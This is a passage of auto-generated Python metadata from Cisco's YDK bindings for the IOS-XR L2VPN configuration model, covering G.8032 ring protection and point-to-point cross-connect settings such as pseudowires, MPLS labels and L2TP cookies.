ring protection port0 monitor ''', 'monitor', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'erp-port0', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort0S' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpPort0S', False, [ _MetaInfoClassMember('erp-port0', REFERENCE_LIST, 'ErpPort0' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort0S.ErpPort0', [], [], ''' Configure ERP main port0 ''', 'erp_port0', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'erp-port0s', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Rpl' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Rpl', False, [ _MetaInfoClassMember('port', REFERENCE_ENUM_CLASS, 'ErpPort1Enum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'ErpPort1Enum', [], [], ''' ERP main port number ''', 'port', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('role', REFERENCE_ENUM_CLASS, 'RplRoleEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'RplRoleEnum', [], [], ''' RPL role ''', 'role', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'rpl', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Aps.Port1' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Aps.Port1', False, [ _MetaInfoClassMember('aps-channel', ATTRIBUTE, 'str' , None, None, [], [], ''' Port1 APS channel in the format of InterfaceName, BDName or XconnectName ''', 'aps_channel', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('aps-type', REFERENCE_ENUM_CLASS, 'ErpapsEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'ErpapsEnum', [], [], ''' Port1 APS type ''', 'aps_type', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'port1', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Aps' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Aps', False, [ _MetaInfoClassMember('enable', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Enable automatic protection switching ''', 'enable', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('level', ATTRIBUTE, 'int' , None, None, [('0', '7')], [], ''' Automatic protection switching level ''', 'level', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('port0', ATTRIBUTE, 'str' , None, None, [], [], ''' Port0 APS channel in the format of InterfaceName ''', 'port0', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('port1', REFERENCE_CLASS, 'Port1' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Aps.Port1', [], [], ''' APS channel for ERP port1 ''', 'port1', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'aps', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance', False, [ _MetaInfoClassMember('erp-instance-id', ATTRIBUTE, 'int' , None, None, [('1', '2')], [], ''' ERP instance number ''', 'erp_instance_id', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('aps', REFERENCE_CLASS, 'Aps' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Aps', [], [], ''' Automatic protection switching ''', 'aps', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('description', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' Ethernet ring protection instance description ''', 'description', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('inclusion-list', ATTRIBUTE, 'str' , None, None, [], [], ''' Associates a set of VLAN IDs with the G .8032 instance ''', 'inclusion_list', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('profile', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' Ethernet ring protection instance profile ''', 'profile', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('rpl', REFERENCE_CLASS, 'Rpl' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance.Rpl', [], [], ''' Ring protection link ''', 'rpl', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'erp-instance', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances', False, [ _MetaInfoClassMember('erp-instance', REFERENCE_LIST, 'ErpInstance' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances.ErpInstance', [], [], ''' Ethernet ring protection instance ''', 'erp_instance', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'erp-instances', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.None_' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.None_', False, [ _MetaInfoClassMember('monitor', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Ethernet ring protection port1 monitor ''', 'monitor', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'none', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.VirtualOrInterface' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.VirtualOrInterface', False, [ _MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Port1 interface ''', 'interface_name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('monitor', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Ethernet ring protection port1 monitor ''', 'monitor', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'virtual-or-interface', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1', False, [ _MetaInfoClassMember('erp-port-type', REFERENCE_ENUM_CLASS, 'ErpPortEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'ErpPortEnum', [], [], ''' Port1 type ''', 'erp_port_type', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('none', REFERENCE_CLASS, 'None_' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.None_', [], [], ''' none ''', 'none', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('virtual-or-interface', REFERENCE_LIST, 'VirtualOrInterface' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1.VirtualOrInterface', [], [], ''' virtual or interface ''', 'virtual_or_interface', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'erp-port1', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S', False, [ _MetaInfoClassMember('erp-port1', REFERENCE_LIST, 'ErpPort1' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S.ErpPort1', [], [], ''' Ethernet ring protection port1 ''', 'erp_port1', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'erp-port1s', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings.G8032Ring' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings.G8032Ring', False, [ _MetaInfoClassMember('g8032-ring-name', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' Name of the G8032 ring ''', 'g8032_ring_name', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('erp-instances', REFERENCE_CLASS, 'ErpInstances' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpInstances', [], [], ''' List of ethernet ring protection instance ''', 'erp_instances', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('erp-port0s', REFERENCE_CLASS, 'ErpPort0S' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort0S', [], [], ''' Ethernet ring protection port0 ''', 'erp_port0s', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('erp-port1s', REFERENCE_CLASS, 'ErpPort1S' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring.ErpPort1S', [], [], ''' Ethernet ring protection port0 ''', 'erp_port1s', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('erp-provider-bridge', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Ethernet ring protection provider bridge ''', 'erp_provider_bridge', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('exclusion-list', ATTRIBUTE, 'str' , None, None, [], [], ''' Vlan IDs in the format of a-b,c,d,e-f,g ,untagged ''', 'exclusion_list', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('open-ring', ATTRIBUTE, 'Empty' , None, None, [], [], ''' Specify the G.8032 instance as open ring ''', 'open_ring', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'g8032-ring', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.G8032Rings' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.G8032Rings', False, [ _MetaInfoClassMember('g8032-ring', REFERENCE_LIST, 'G8032Ring' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.G8032Rings.G8032Ring', [], [], ''' G8032 Ring ''', 'g8032_ring', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'g8032-rings', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits.BackupAttachmentCircuit' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits.BackupAttachmentCircuit', False, [ _MetaInfoClassMember('interface-name', ATTRIBUTE, 'str' , None, None, [], ['(([a-zA-Z0-9_]*\\d+/){3,4}\\d+)|(([a-zA-Z0-9_]*\\d+/){3,4}\\d+\\.\\d+)|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]*\\d+))|(([a-zA-Z0-9_]*\\d+/){2}([a-zA-Z0-9_]+))|([a-zA-Z0-9_-]*\\d+)|([a-zA-Z0-9_-]*\\d+\\.\\d+)|(mpls)|(dwdm)'], ''' Name of the attachment circuit interface ''', 'interface_name', 'Cisco-IOS-XR-l2vpn-cfg', True), ], 'Cisco-IOS-XR-l2vpn-cfg', 'backup-attachment-circuit', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits', False, [ _MetaInfoClassMember('backup-attachment-circuit', REFERENCE_LIST, 'BackupAttachmentCircuit' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.BackupAttachmentCircuits.BackupAttachmentCircuit', [], [], ''' Backup attachment circuit ''', 'backup_attachment_circuit', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'backup-attachment-circuits', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns.PseudowireEvpn' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns.PseudowireEvpn', False, [ _MetaInfoClassMember('eviid', ATTRIBUTE, 'int' , None, None, [('1', '65534')], [], ''' Ethernet VPN ID ''', 'eviid', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('remote-acid', ATTRIBUTE, 'int' , None, None, [('1', '16777215')], [], ''' Remote AC ID ''', 'remote_acid', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('source-acid', ATTRIBUTE, 'int' , None, None, [('1', '16777215')], [], ''' Source AC ID ''', 'source_acid', 'Cisco-IOS-XR-l2vpn-cfg', True), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pseudowire-evpn', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns', False, [ _MetaInfoClassMember('pseudowire-evpn', REFERENCE_LIST, 'PseudowireEvpn' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.PseudowireEvpns.PseudowireEvpn', [], [], ''' EVPN P2P Service Configuration ''', 'pseudowire_evpn', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'pseudowire-evpns', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.MplsStaticLabels' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.MplsStaticLabels', False, [ _MetaInfoClassMember('local-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire local static label ''', 'local_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('remote-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire remote static label ''', 'remote_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'mpls-static-labels', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels', False, [ _MetaInfoClassMember('local-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire local static label ''', 'local_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('remote-static-label', ATTRIBUTE, 'int' , None, None, [('16', '1048575')], [], ''' Pseudowire remote static label ''', 'remote_static_label', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'backup-mpls-static-labels', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire', False, [ _MetaInfoClassMember('neighbor', ATTRIBUTE, 'str' , None, None, [], ['(([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\\.){3}([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(%[\\p{N}\\p{L}]+)?'], ''' Neighbor IP address ''', 'neighbor', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('pseudowire-id', ATTRIBUTE, 'int' , None, None, [('1', '4294967295')], [], ''' Pseudowire ID ''', 'pseudowire_id', 'Cisco-IOS-XR-l2vpn-cfg', True), _MetaInfoClassMember('backup-mpls-static-labels', REFERENCE_CLASS, 'BackupMplsStaticLabels' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire.BackupMplsStaticLabels', [], [], ''' MPLS static labels ''', 'backup_mpls_static_labels', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('backup-pw-class', ATTRIBUTE, 'str' , None, None, [(0, 32)], [], ''' PW class template name to use for the backup PW ''', 'backup_pw_class', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'backup-pseudowire', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires', False, [ _MetaInfoClassMember('backup-pseudowire', REFERENCE_LIST, 'BackupPseudowire' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.BackupPseudowires.BackupPseudowire', [], [], ''' Backup pseudowire for the cross connect ''', 'backup_pseudowire', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'backup-pseudowires', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpRemoteCookie' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpRemoteCookie', False, [ _MetaInfoClassMember('higher-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Higher remote cookie value ''', 'higher_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('lower-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Lower remote cookie value ''', 'lower_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('size', REFERENCE_ENUM_CLASS, 'L2TpCookieSizeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2TpCookieSizeEnum', [], [], ''' Remote cookie size ''', 'size', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-remote-cookie', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpSecondaryLocalCookie' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpSecondaryLocalCookie', False, [ _MetaInfoClassMember('higher-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Higher local cookie value ''', 'higher_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('lower-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Lower local cookie value ''', 'lower_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('size', REFERENCE_ENUM_CLASS, 'L2TpCookieSizeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2TpCookieSizeEnum', [], [], ''' Local cookie size ''', 'size', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-secondary-local-cookie', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpLocalCookie' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpLocalCookie', False, [ _MetaInfoClassMember('higher-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Higher local cookie value ''', 'higher_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('lower-value', ATTRIBUTE, 'int' , None, None, [('0', '4294967295')], [], ''' Lower local cookie value ''', 'lower_value', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('size', REFERENCE_ENUM_CLASS, 'L2TpCookieSizeEnum' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2TpCookieSizeEnum', [], [], ''' Local cookie size ''', 'size', 'Cisco-IOS-XR-l2vpn-cfg', False), ], 'Cisco-IOS-XR-l2vpn-cfg', 'l2tp-local-cookie', _yang_ns._namespaces['Cisco-IOS-XR-l2vpn-cfg'], 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg' ), }, 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes' : { 'meta_info' : _MetaInfoClass('L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes', False, [ _MetaInfoClassMember('l2tp-local-cookie', REFERENCE_CLASS, 'L2TpLocalCookie' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpLocalCookie', [], [], ''' L2TP local cookie ''', 'l2tp_local_cookie', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-local-session-id', ATTRIBUTE, 'int' , None, None, [('1', '65535')], [], ''' L2TP local session ID ''', 'l2tp_local_session_id', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-remote-cookie', REFERENCE_CLASS, 'L2TpRemoteCookie' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpRemoteCookie', [], [], ''' L2TP remote cookie ''', 'l2tp_remote_cookie', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-remote-session-id', ATTRIBUTE, 'int' , None, None, [('1', '65535')], [], ''' L2TP remote session ID ''', 'l2tp_remote_session_id', 'Cisco-IOS-XR-l2vpn-cfg', False), _MetaInfoClassMember('l2tp-secondary-local-cookie', REFERENCE_CLASS, 'L2TpSecondaryLocalCookie' , 'ydk.models.cisco_ios_xr.Cisco_IOS_XR_l2vpn_cfg', 'L2Vpn.Database.XconnectGroups.XconnectGroup.P2PXconnects.P2PXconnect.Pseudowires.Pseudowire.Neighbor.L2TpStaticAttributes.L2TpSecondaryLocalCookie', [], [], 